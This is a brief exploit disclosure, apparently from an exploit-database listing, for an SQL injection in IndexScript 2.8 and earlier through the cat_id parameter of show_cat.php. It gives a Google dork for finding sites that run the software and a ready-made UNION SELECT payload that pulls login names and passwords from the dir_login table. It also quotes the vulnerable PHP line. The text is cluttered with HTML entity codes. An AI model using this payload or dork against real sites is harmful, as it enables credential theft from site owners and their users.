IndexScript <= 2.8 (show_cat.php cat_id) SQL Injection Vulnerability

Site:&nbsp;http://indexscript.com Found&nbsp;By:&nbsp;xssvgamer Google&nbsp;Dork:&nbsp;allintext:&nbsp;&quot;This&nbsp;site&nbsp;is&nbsp;powered&nbsp;by&nbsp;IndexScript&quot; exploit: http://www.example.com/show_cat.php?cat_id=-1&nbsp;UNION&nbsp;ALL&nbsp;SELECT&nbsp;login,password&nbsp;FROM&nbsp;dir_login&nbsp;/* Blind&nbsp;SQL&nbsp;injection&nbsp;in&nbsp;indexscript.. Vul&nbsp;Code: &quot;$sql&nbsp;=&nbsp;&quot;select&nbsp;name,&nbsp;meta_title,&nbsp;meta_description,&nbsp;meta_keywords&nbsp;from&nbsp;dir_cat&nbsp;where&nbsp;&quot;&nbsp;. &nbsp;&quot;cat_id=&quot;&nbsp;.&nbsp;fnpreparesql($_GET['cat_id']);&quot;